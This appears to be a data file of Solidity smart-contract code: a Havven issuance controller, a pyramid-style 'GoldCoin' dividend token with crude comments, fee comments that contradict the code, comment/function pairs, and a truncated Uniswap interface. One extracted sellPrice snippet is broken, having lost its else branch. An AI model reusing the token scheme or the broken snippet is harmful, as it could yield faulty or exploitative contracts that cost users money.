USDtoHAV(uint usd_dec) public view priceNotStale returns (uint) { return safeDiv_dec(usd_dec, price); } /** * @notice Access point for the oracle to update the price of havvens. */ function updatePrice(uint newPrice, uint timeSent) external onlyOracle /* Should be callable only by the oracle. */ { /* Must be the most recently sent price, but not too far in the future. * (so we can&#39;t lock ourselves out of updating the oracle for longer than this) */ require(lastPriceUpdateTime < timeSent && timeSent < now + ORACLE_FUTURE_LIMIT, "Time sent must be bigger than the last update, and must be less than now + ORACLE_FUTURE_LIMIT"); price = newPrice; lastPriceUpdateTime = timeSent; emitPriceUpdated(newPrice, timeSent); /* Check the fee period rollover within this as the price should be pushed every 15min. */ rolloverFeePeriodIfElapsed(); } /** * @notice Check if the price of havvens hasn&#39;t been updated for longer than the stale period. */ function priceIsStale() public view returns (bool) { return safeAdd(lastPriceUpdateTime, priceStalePeriod) < now; } /* ========== MODIFIERS ========== */ modifier requireIssuer(address account) { require(isIssuer[account], "Must be issuer to perform this action"); _; } modifier onlyOracle { require(msg.sender == oracle, "Must be oracle to perform this action"); _; } modifier priceNotStale { require(!priceIsStale(), "Price must not be stale to perform this action"); _; } /* ========== EVENTS ========== */ event PriceUpdated(uint newPrice, uint timestamp); bytes32 constant PRICEUPDATED_SIG = keccak256("PriceUpdated(uint256,uint256)"); function emitPriceUpdated(uint newPrice, uint timestamp) internal { proxy._emit(abi.encode(newPrice, timestamp), 1, PRICEUPDATED_SIG, 0, 0, 0); } event IssuanceRatioUpdated(uint newRatio); bytes32 constant ISSUANCERATIOUPDATED_SIG = keccak256("IssuanceRatioUpdated(uint256)"); function emitIssuanceRatioUpdated(uint newRatio) internal { proxy._emit(abi.encode(newRatio), 1, ISSUANCERATIOUPDATED_SIG, 0, 0, 0); } event FeePeriodRollover(uint timestamp); bytes32 constant FEEPERIODROLLOVER_SIG = keccak256("FeePeriodRollover(uint256)"); function emitFeePeriodRollover(uint timestamp) internal { proxy._emit(abi.encode(timestamp), 1, FEEPERIODROLLOVER_SIG, 0, 0, 0); } event FeePeriodDurationUpdated(uint duration); bytes32 constant FEEPERIODDURATIONUPDATED_SIG = keccak256("FeePeriodDurationUpdated(uint256)"); function emitFeePeriodDurationUpdated(uint duration) internal { proxy._emit(abi.encode(duration), 1, FEEPERIODDURATIONUPDATED_SIG, 0, 0, 0); } event FeesWithdrawn(address indexed account, uint value); bytes32 constant FEESWITHDRAWN_SIG = keccak256("FeesWithdrawn(address,uint256)"); function emitFeesWithdrawn(address account, uint value) internal { proxy._emit(abi.encode(value), 2, FEESWITHDRAWN_SIG, bytes32(account), 0, 0); } event OracleUpdated(address newOracle); bytes32 constant ORACLEUPDATED_SIG = keccak256("OracleUpdated(address)"); function emitOracleUpdated(address newOracle) internal { proxy._emit(abi.encode(newOracle), 1, ORACLEUPDATED_SIG, 0, 0, 0); } event NominUpdated(address newNomin); bytes32 constant NOMINUPDATED_SIG = keccak256("NominUpdated(address)"); function emitNominUpdated(address newNomin) internal { proxy._emit(abi.encode(newNomin), 1, NOMINUPDATED_SIG, 0, 0, 0); } event EscrowUpdated(address newEscrow); bytes32 constant ESCROWUPDATED_SIG = keccak256("EscrowUpdated(address)"); function emitEscrowUpdated(address newEscrow) internal { proxy._emit(abi.encode(newEscrow), 1, ESCROWUPDATED_SIG, 0, 0, 0); } event IssuersUpdated(address indexed account, bool indexed value); bytes32 constant ISSUERSUPDATED_SIG = keccak256("IssuersUpdated(address,bool)"); function emitIssuersUpdated(address account, bool value) internal { proxy._emit(abi.encode(), 3, ISSUERSUPDATED_SIG, bytes32(account), bytes32(value ? 1 : 0), 0); } } /* ----------------------------------------------------------------- FILE INFORMATION ----------------------------------------------------------------- file: IssuanceController.sol version: 2.0 author: Kevin Brown date: 2018-07-18 ----------------------------------------------------------------- MODULE DESCRIPTION ----------------------------------------------------------------- Issuance controller contract. The issuance controller provides a way for users to acquire nomins (Nomin.sol) and havvens (Havven.sol) by paying ETH and a way for users to acquire havvens (Havven.sol) by paying nomins. Users can also deposit their nomins and allow other users to purchase them with ETH. The ETH is sent to the user who offered their nomins for sale. This smart contract contains a balance of each currency, and allows the owner of the contract (the Havven Foundation) to manage the available balance of havven at their discretion, while users are allowed to deposit and withdraw their own nomin deposits if they have not yet been taken up by another user. ----------------------------------------------------------------- */ /** * @title Issuance Controller Contract. */ contract IssuanceController is SafeDecimalMath, SelfDestructible, Pausable { /* ========== STATE VARIABLES ========== */ Havven public havven; Nomin public nomin; // Address where the ether raised is transfered to address public fundsWallet; /* The address of the oracle which pushes the USD price havvens and ether to this contract */ address public oracle; /* Do not allow the oracle to submit times any further forward into the future than this constant. */ uint constant ORACLE_FUTURE_LIMIT = 10 minutes; /* How long will the contract assume the price of any asset is correct */ uint public priceStalePeriod = 3 hours; /* The time the prices were last updated */ uint public lastPriceUpdateTime; /* The USD price of havvens denominated in UNIT */ uint public usdToHavPrice; /* The USD price of ETH denominated in UNIT */ uint public usdToEthPrice; /* ========== CONSTRUCTOR ========== */ /** * @dev Constructor * @param _owner The owner of this contract. * @param _fundsWallet The recipient of ETH and Nomins that are sent to this contract while exchanging. * @param _havven The Havven contract we&#39;ll interact with for balances and sending. * @param _nomin The Nomin contract we&#39;ll interact with for balances and sending. * @param _oracle The address which is able to update price information. * @param _usdToEthPrice The current price of ETH in USD, expressed in UNIT. * @param _usdToHavPrice The current price of Havven in USD, expressed in UNIT. */ constructor( // Ownable address _owner, // Funds Wallet address _fundsWallet, // Other contracts needed Havven _havven, Nomin _nomin, // Oracle values - Allows for price updates address _oracle, uint _usdToEthPrice, uint _usdToHavPrice ) /* Owned is initialised in SelfDestructible */ SelfDestructible(_owner) Pausable(_owner) public { fundsWallet = _fundsWallet; havven = _havven; nomin = _nomin; oracle = _oracle; usdToEthPrice = _usdToEthPrice; usdToHavPrice = _usdToHavPrice; lastPriceUpdateTime = now; } /* ========== SETTERS ========== */ /** * @notice Set the funds wallet where ETH raised is held * @param _fundsWallet The new address to forward ETH and Nomins to */ function setFundsWallet(address _fundsWallet) external onlyOwner { fundsWallet = _fundsWallet; emit FundsWalletUpdated(fundsWallet); } /** * @notice Set the Oracle that pushes the havven price to this contract * @param _oracle The new oracle address */ function setOracle(address _oracle) external onlyOwner { oracle = _oracle; emit OracleUpdated(oracle); } /** * @notice Set the Nomin contract that the issuance controller uses to issue Nomins. * @param _nomin The new nomin contract target */ function setNomin(Nomin _nomin) external onlyOwner { nomin = _nomin; emit NominUpdated(_nomin); } /** * @notice Set the Havven contract that the issuance controller uses to issue Havvens. * @param _havven The new havven contract target */ function setHavven(Havven _havven) external onlyOwner { havven = _havven; emit HavvenUpdated(_havven); } /** * @notice Set the stale period on the updated price variables * @param _time The new priceStalePeriod */ function setPriceStalePeriod(uint _time) external onlyOwner { priceStalePeriod = _time; emit PriceStalePeriodUpdated(priceStalePeriod); } /* ========== MUTATIVE FUNCTIONS ========== */ /** * @notice Access point for the oracle to update the prices of havvens / eth. * @param newEthPrice The current price of ether in USD, specified to 18 decimal places. * @param newHavvenPrice The current price of havvens in USD, specified to 18 decimal places. * @param timeSent The timestamp from the oracle when the transaction was created. This ensures we don&#39;t consider stale prices as current in times of heavy network congestion. */ function updatePrices(uint newEthPrice, uint newHavvenPrice, uint timeSent) external onlyOracle { /* Must be the most recently sent price, but not too far in the future. * (so we can&#39;t lock ourselves out of updating the oracle for longer than this) */ require(lastPriceUpdateTime < timeSent && timeSent < now + ORACLE_FUTURE_LIMIT, "Time sent must be bigger than the last update, and must be less than now + ORACLE_FUTURE_LIMIT"); usdToEthPrice = newEthPrice; usdToHavPrice = newHavvenPrice; lastPriceUpdateTime = timeSent; emit PricesUpdated(usdToEthPrice, usdToHavPrice, lastPriceUpdateTime); } /** * @notice Fallback function (exchanges ETH to nUSD) */ function () external payable { exchangeEtherForNomins(); } /** * @notice Exchange ETH to nUSD. */ function exchangeEtherForNomins() public payable pricesNotStale notPaused returns (uint) // Returns the number of Nomins (nUSD) received { // The multiplication works here because usdToEthPrice is specified in // 18 decimal places, just like our currency base. uint requestedToPurchase = safeMul_dec(msg.value, usdToEthPrice); // Store the ETH in our funds wallet fundsWallet.transfer(msg.value); // Send the nomins. // Note: Fees are calculated by the Nomin contract, so when // we request a specific transfer here, the fee is // automatically deducted and sent to the fee pool. nomin.transfer(msg.sender, requestedToPurchase); emit Exchange("ETH", msg.value, "nUSD", requestedToPurchase); return requestedToPurchase; } /** * @notice Exchange ETH to nUSD while insisting on a particular rate. This allows a user to * exchange while protecting against frontrunning by the contract owner on the exchange rate. * @param guaranteedRate The exchange rate (ether price) which must be honored or the call will revert. */ function exchangeEtherForNominsAtRate(uint guaranteedRate) public payable pricesNotStale notPaused returns (uint) // Returns the number of Nomins (nUSD) received { require(guaranteedRate == usdToEthPrice); return exchangeEtherForNomins(); } /** * @notice Exchange ETH to HAV. */ function exchangeEtherForHavvens() public payable pricesNotStale notPaused returns (uint) // Returns the number of Havvens (HAV) received { // How many Havvens are they going to be receiving? uint havvensToSend = havvensReceivedForEther(msg.value); // Store the ETH in our funds wallet fundsWallet.transfer(msg.value); // And send them the Havvens. havven.transfer(msg.sender, havvensToSend); emit Exchange("ETH", msg.value, "HAV", havvensToSend); return havvensToSend; } /** * @notice Exchange ETH to HAV while insisting on a particular set of rates. This allows a user to * exchange while protecting against frontrunning by the contract owner on the exchange rates. * @param guaranteedEtherRate The ether exchange rate which must be honored or the call will revert. * @param guaranteedHavvenRate The havven exchange rate which must be honored or the call will revert. */ function exchangeEtherForHavvensAtRate(uint guaranteedEtherRate, uint guaranteedHavvenRate) public payable pricesNotStale notPaused returns (uint) // Returns the number of Havvens (HAV) received { require(guaranteedEtherRate == usdToEthPrice); require(guaranteedHavvenRate == usdToHavPrice); return exchangeEtherForHavvens(); } /** * @notice Exchange nUSD for Havvens * @param nominAmount The amount of nomins the user wishes to exchange. */ function exchangeNominsForHavvens(uint nominAmount) public pricesNotStale notPaused returns (uint) // Returns the number of Havvens (HAV) received { // How many Havvens are they going to be receiving? uint havvensToSend = havvensReceivedForNomins(nominAmount); // Ok, transfer the Nomins to our address. nomin.transferFrom(msg.sender, this, nominAmount); // And send them the Havvens. havven.transfer(msg.sender, havvensToSend); emit Exchange("nUSD", nominAmount, "HAV", havvensToSend); return havvensToSend; } /** * @notice Exchange nUSD for Havvens while insisting on a particular rate. This allows a user to * exchange while protecting against frontrunning by the contract owner on the exchange rate. * @param nominAmount The amount of nomins the user wishes to exchange. * @param guaranteedRate A rate (havven price) the caller wishes to insist upon. */ function exchangeNominsForHavvensAtRate(uint nominAmount, uint guaranteedRate) public pricesNotStale notPaused returns (uint) // Returns the number of Havvens (HAV) received { require(guaranteedRate == usdToHavPrice); return exchangeNominsForHavvens(nominAmount); } /** * @notice Allows the owner to withdraw havvens from this contract if needed. * @param amount The amount of havvens to attempt to withdraw (in 18 decimal places). */ function withdrawHavvens(uint amount) external onlyOwner { havven.transfer(owner, amount); // We don&#39;t emit our own events here because we assume that anyone // who wants to watch what the Issuance Controller is doing can // just watch ERC20 events from the Nomin and/or Havven contracts // filtered to our address. } /** * @notice Withdraw nomins: Allows the owner to withdraw nomins from this contract if needed. * @param amount The amount of nomins to attempt to withdraw (in 18 decimal places). */ function withdrawNomins(uint amount) external onlyOwner { nomin.transfer(owner, amount); // We don&#39;t emit our own events here because we assume that anyone // who wants to watch what the Issuance Controller is doing can // just watch ERC20 events from the Nomin and/or Havven contracts // filtered to our address. } /* ========== VIEWS ========== */ /** * @notice Check if the prices haven&#39;t been updated for longer than the stale period. */ function pricesAreStale() public view returns (bool) { return safeAdd(lastPriceUpdateTime, priceStalePeriod) < now; } /** * @notice Calculate how many havvens you will receive if you transfer * an amount of nomins. * @param amount The amount of nomins (in 18 decimal places) you want to ask about */ function havvensReceivedForNomins(uint amount) public view returns (uint) { // How many nomins would we receive after the transfer fee? uint nominsReceived = nomin.amountReceived(amount); // And what would that be worth in havvens based on the current price? return safeDiv_dec(nominsReceived, usdToHavPrice); } /** * @notice Calculate how many havvens you will receive if you transfer * an amount of ether. * @param amount The amount of ether (in wei) you want to ask about */ function havvensReceivedForEther(uint amount) public view returns (uint) { // How much is the ETH they sent us worth in nUSD (ignoring the transfer fee)? uint valueSentInNomins = safeMul_dec(amount, usdToEthPrice); // Now, how many HAV will that USD amount buy? return havvensReceivedForNomins(valueSentInNomins); } /** * @notice Calculate how many nomins you will receive if you transfer * an amount of ether. * @param amount The amount of ether (in wei) you want to ask about */ function nominsReceivedForEther(uint amount) public view returns (uint) { // How many nomins would that amount of ether be worth? uint nominsTransferred = safeMul_dec(amount, usdToEthPrice); // And how many of those would you receive after a transfer (deducting the transfer fee) return nomin.amountReceived(nominsTransferred); } /* ========== MODIFIERS ========== */ modifier onlyOracle { require(msg.sender == oracle, "Must be oracle to perform this action"); _; } modifier pricesNotStale { require(!pricesAreStale(), "Prices must not be stale to perform this action"); _; } /* ========== EVENTS ========== */ event FundsWalletUpdated(address newFundsWallet); event OracleUpdated(address newOracle); event NominUpdated(Nomin newNominContract); event HavvenUpdated(Havven newHavvenContract); event PriceStalePeriodUpdated(uint priceStalePeriod); event PricesUpdated(uint newEthPrice, uint newHavvenPrice, uint timeSent); event Exchange(string fromCurrency, uint fromAmount, string toCurrency, uint toAmount); }
Terminate and reset the self-destruction timer. Only the contract owner may call this./
function terminateSelfDestruct() external onlyOwner { initiationTime = 0; selfDestructInitiated = false; emit SelfDestructTerminated(); }
2,139,976
pragma solidity ^0.4.20; /* * Team PAPA AND FRIENDS presents... * dankcoin.surge.sh * https://discord.gg/Ne2PTnS * * =================================================* * _____ ___ _____ * * / / \ | | \ * * / / \ | | \ * * / ___ | | | | | * * | | | | | | | * * \ | \ / | | / * * \_____/ \ __ / |_____ |_____ / * * * * =================================================* * * DANK COIN * Join us to the MOOOOOOOOONNET! * * -> What? * Incorporated the strong points of different POW{x}, best config: * [✓] 20% dividends for token purchase, shared among all token holders. * [✓] 10% dividends for token transfer, shared among all token holders. * [✓] 25% dividends for token selling. * [✓] 7% dividends is given to referrer. * [✓] 50 tokens to activate Masternodes. * */ contract GoldCoin { /*================================= = MODIFIERS = =================================*/ /// @dev Only people with tokens modifier onlyBagholders { require(myTokens() > 0); _; } /// @dev Only people with profits modifier onlyStronghands { require(myDividends(true) > 0); _; } /*============================== = EVENTS = ==============================*/ event onTokenPurchase( address indexed customerAddress, uint256 incomingEthereum, uint256 tokensMinted, address indexed referredBy, uint timestamp, uint256 price ); event onTokenSell( address indexed customerAddress, uint256 tokensBurned, uint256 ethereumEarned, uint timestamp, uint256 price ); event onReinvestment( address indexed customerAddress, uint256 ethereumReinvested, uint256 tokensMinted ); event onWithdraw( address indexed customerAddress, uint256 ethereumWithdrawn ); // ERC20 event Transfer( address indexed from, address indexed to, uint256 tokens ); /*===================================== = CONFIGURABLES = =====================================*/ string public name = "GoldStrike"; string public symbol = "GOLD"; uint8 constant public decimals = 18; /// @dev 15% dividends for token purchase uint8 constant internal entryFee_ = 20; /// @dev 10% dividends for token transfer uint8 constant internal transferFee_ = 10; /// @dev 25% dividends for token selling uint8 constant internal exitFee_ = 25; /// @dev 35% of entryFee_ (i.e. 7% dividends) is given to referrer uint8 constant internal refferalFee_ = 35; uint256 constant internal tokenPriceInitial_ = 0.0000001 ether; uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether; uint256 constant internal magnitude = 2 ** 64; /// @dev proof of stake (defaults at 50 tokens) uint256 public stakingRequirement = 50e18; /*================================= = DATASETS = ================================*/ // amount of shares for each address (scaled number) mapping(address => uint256) internal tokenBalanceLedger_; mapping(address => uint256) internal referralBalance_; mapping(address => int256) internal payoutsTo_; uint256 internal tokenSupply_; uint256 internal profitPerShare_; /*======================================= = PUBLIC FUNCTIONS = =======================================*/ /// @dev Converts all incoming ethereum to tokens for the caller, and passes down the referral addy (if any) function buy(address _referredBy) public payable returns (uint256) { purchaseTokens(msg.value, _referredBy); } /** * @dev Fallback function to handle ethereum that was send straight to the contract * Unfortunately we cannot use a referral address this way. */ function() payable public { purchaseTokens(msg.value, 0x0); } /// @dev Converts all of caller's dividends to tokens. function reinvest() onlyStronghands public { // fetch dividends uint256 _dividends = myDividends(false); // retrieve ref. bonus later in the code // pay out the dividends virtually address _customerAddress = msg.sender; payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); // retrieve ref. bonus _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; // dispatch a buy order with the virtualized "withdrawn dividends" uint256 _tokens = purchaseTokens(_dividends, 0x0); // fire event onReinvestment(_customerAddress, _dividends, _tokens); } /// @dev Alias of sell() and withdraw(). function exit() public { // get token count for caller & sell them all address _customerAddress = msg.sender; uint256 _tokens = tokenBalanceLedger_[_customerAddress]; if (_tokens > 0) sell(_tokens); // lambo delivery service withdraw(); } /// @dev Withdraws all of the callers earnings. function withdraw() onlyStronghands public { // setup data address _customerAddress = msg.sender; uint256 _dividends = myDividends(false); // get ref. bonus later in the code // update dividend tracker payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); // add ref. bonus _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; // lambo delivery service _customerAddress.transfer(_dividends); // fire event onWithdraw(_customerAddress, _dividends); } /// @dev Liquifies tokens to ethereum. function sell(uint256 _amountOfTokens) onlyBagholders public { // setup data address _customerAddress = msg.sender; // russian hackers BTFO require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]); uint256 _tokens = _amountOfTokens; uint256 _ethereum = tokensToEthereum_(_tokens); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); // burn the sold tokens tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens); tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens); // update dividends tracker int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude)); payoutsTo_[_customerAddress] -= _updatedPayouts; // dividing by zero is a bad idea if (tokenSupply_ > 0) { // update the amount of dividends per token profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_); } // fire event onTokenSell(_customerAddress, _tokens, _taxedEthereum, now, buyPrice()); } /** * @dev Transfer tokens from the caller to a new holder. * Remember, there's a 15% fee here as well. */ function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders public returns (bool) { // setup address _customerAddress = msg.sender; // make sure we have the requested tokens require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]); // withdraw all outstanding dividends first if (myDividends(true) > 0) { withdraw(); } // liquify 10% of the tokens that are transfered // these are dispersed to shareholders uint256 _tokenFee = SafeMath.div(SafeMath.mul(_amountOfTokens, transferFee_), 100); uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee); uint256 _dividends = tokensToEthereum_(_tokenFee); // burn the fee tokens tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee); // exchange tokens tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens); tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens); // update dividend trackers payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens); payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens); // disperse dividends among holders profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_); // fire event Transfer(_customerAddress, _toAddress, _taxedTokens); // ERC20 return true; } /*===================================== = HELPERS AND CALCULATORS = =====================================*/ /** * @dev Method to view the current Ethereum stored in the contract * Example: totalEthereumBalance() */ function totalEthereumBalance() public view returns (uint256) { return this.balance; } /// @dev Retrieve the total token supply. function totalSupply() public view returns (uint256) { return tokenSupply_; } /// @dev Retrieve the tokens owned by the caller. function myTokens() public view returns (uint256) { address _customerAddress = msg.sender; return balanceOf(_customerAddress); } /** * @dev Retrieve the dividends owned by the caller. * If `_includeReferralBonus` is to to 1/true, the referral bonus will be included in the calculations. * The reason for this, is that in the frontend, we will want to get the total divs (global + ref) * But in the internal calculations, we want them separate. */ function myDividends(bool _includeReferralBonus) public view returns (uint256) { address _customerAddress = msg.sender; return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ; } /// @dev Retrieve the token balance of any single address. function balanceOf(address _customerAddress) public view returns (uint256) { return tokenBalanceLedger_[_customerAddress]; } /// @dev Retrieve the dividend balance of any single address. function dividendsOf(address _customerAddress) public view returns (uint256) { return (uint256) ((int256) (profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude; } /// @dev Return the sell price of 1 individual token. function sellPrice() public view returns (uint256) { // our calculation relies on the token supply, so we need supply. Doh. if (tokenSupply_ == 0) { return tokenPriceInitial_ - tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } } /// @dev Return the buy price of 1 individual token. function buyPrice() public view returns (uint256) { // our calculation relies on the token supply, so we need supply. Doh. if (tokenSupply_ == 0) { return tokenPriceInitial_ + tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, entryFee_), 100); uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends); return _taxedEthereum; } } /// @dev Function for the frontend to dynamically retrieve the price scaling of buy orders. function calculateTokensReceived(uint256 _ethereumToSpend) public view returns (uint256) { uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, entryFee_), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); return _amountOfTokens; } /// @dev Function for the frontend to dynamically retrieve the price scaling of sell orders. function calculateEthereumReceived(uint256 _tokensToSell) public view returns (uint256) { require(_tokensToSell <= tokenSupply_); uint256 _ethereum = tokensToEthereum_(_tokensToSell); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } /*========================================== = INTERNAL FUNCTIONS = ==========================================*/ /// @dev Internal function to actually purchase the tokens. function purchaseTokens(uint256 _incomingEthereum, address _referredBy) internal returns (uint256) { // data setup address _customerAddress = msg.sender; uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, entryFee_), 100); uint256 _referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalFee_), 100); uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus); uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); uint256 _fee = _dividends * magnitude; // no point in continuing execution if OP is a poorfag russian hacker // prevents overflow in the case that the pyramid somehow magically starts being used by everyone in the world // (or hackers) // and yes we know that the safemath function automatically rules out the "greater then" equasion. require(_amountOfTokens > 0 && SafeMath.add(_amountOfTokens, tokenSupply_) > tokenSupply_); // is the user referred by a masternode? if ( // is this a referred purchase? _referredBy != 0x0000000000000000000000000000000000000000 && // no cheating! _referredBy != _customerAddress && // does the referrer have at least X whole tokens? // i.e is the referrer a godly chad masternode tokenBalanceLedger_[_referredBy] >= stakingRequirement ) { // wealth redistribution referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus); } else { // no ref purchase // add the referral bonus back to the global dividends cake _dividends = SafeMath.add(_dividends, _referralBonus); _fee = _dividends * magnitude; } // we can't give people infinite ethereum if (tokenSupply_ > 0) { // add tokens to the pool tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens); // take the amount of dividends gained through this transaction, and allocates them evenly to each shareholder profitPerShare_ += (_dividends * magnitude / tokenSupply_); // calculate the amount of tokens the customer receives over his purchase _fee = _fee - (_fee - (_amountOfTokens * (_dividends * magnitude / tokenSupply_))); } else { // add tokens to the pool tokenSupply_ = _amountOfTokens; } // update circulating supply & the ledger address for the customer tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens); // Tells the contract that the buyer doesn't deserve dividends for the tokens before they owned them; // really i know you think you do but you don't int256 _updatedPayouts = (int256) (profitPerShare_ * _amountOfTokens - _fee); payoutsTo_[_customerAddress] += _updatedPayouts; // fire event onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy, now, buyPrice()); return _amountOfTokens; } /** * @dev Calculate Token price based on an amount of incoming ethereum * It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation; * Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code. */ function ethereumToTokens_(uint256 _ethereum) internal view returns (uint256) { uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18; uint256 _tokensReceived = ( ( // underflow attempts BTFO SafeMath.sub( (sqrt ( (_tokenPriceInitial ** 2) + (2 * (tokenPriceIncremental_ * 1e18) * (_ethereum * 1e18)) + ((tokenPriceIncremental_ ** 2) * (tokenSupply_ ** 2)) + (2 * tokenPriceIncremental_ * _tokenPriceInitial*tokenSupply_) ) ), _tokenPriceInitial ) ) / (tokenPriceIncremental_) ) - (tokenSupply_); return _tokensReceived; } /** * @dev Calculate token sell value. * It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation; * Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code. */ function tokensToEthereum_(uint256 _tokens) internal view returns (uint256) { uint256 tokens_ = (_tokens + 1e18); uint256 _tokenSupply = (tokenSupply_ + 1e18); uint256 _etherReceived = ( // underflow attempts BTFO SafeMath.sub( ( ( ( tokenPriceInitial_ + (tokenPriceIncremental_ * (_tokenSupply / 1e18)) ) - tokenPriceIncremental_ ) * (tokens_ - 1e18) ), (tokenPriceIncremental_ * ((tokens_ ** 2 - tokens_) / 1e18)) / 2 ) / 1e18); return _etherReceived; } /// @dev This is where all your gas goes. function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = (x + 1) / 2; y = x; while (z < y) { y = z; z = (x / z + z) / 2; } } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }
Return the sell price of 1 individual token. our calculation relies on the token supply, so we need supply. Doh.
function sellPrice() public view returns (uint256) { if (tokenSupply_ == 0) { return tokenPriceInitial_ - tokenPriceIncremental_; uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } }
54,325
pragma solidity ^0.5.17; pragma experimental ABIEncoderV2; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } // computes square roots using the babylonian method // https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method library Babylonian { function sqrt(uint y) internal pure returns (uint z) { if (y > 3) { z = y; uint x = y / 2 + 1; while (x < z) { z = x; x = (y / x + x) / 2; } } else if (y != 0) { z = 1; } // else z = 0 } } // a library for handling binary fixed point numbers (https://en.wikipedia.org/wiki/Q_(number_format)) library FixedPoint { // range: [0, 2**112 - 